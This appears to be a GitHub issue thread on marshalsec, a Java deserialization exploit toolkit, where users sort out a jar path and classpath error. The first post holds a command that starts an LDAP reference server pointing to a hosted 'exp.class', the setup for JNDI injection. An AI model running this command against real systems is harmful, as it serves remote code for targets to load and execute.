mbechler / marshalsec

MIT License
3.39k stars 680 forks source link

Could not find or load main class #24

Closed monixxxx closed 2 years ago

monixxxx commented 2 years ago

root@vmi651682:~/downloads/marshalsec# java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8885/exp.class" Error: Could not find or load main class marshalsec.jndi.LDAPRefServer Caused by: java.lang.ClassNotFoundException: marshalsec.jndi.LDAPRefServer root@vmi651682:~/downloads/marshalsec#

mbechler commented 2 years ago

The class is definitely there if you build it correctly. Dependency issue?

Cyopeng commented 2 years ago

cd into main/java/marshalsec/jndi and rename the class in your command marshalsec.jndi.LDAPRefServer to jndi.LDAPRefServer

mbechler commented 2 years ago

That should not be necessary. But on second thought target/marshalsec-0.0.1-SNAPSHOT-all.jar should probably be target/marshalsec-0.0.3-SNAPSHOT-all.jar. Check that the file is actually there.

Aholicknight commented 2 years ago

Having the same error

Retr02332 commented 2 years ago

The solution is to replace marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer with marshalsec/target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer.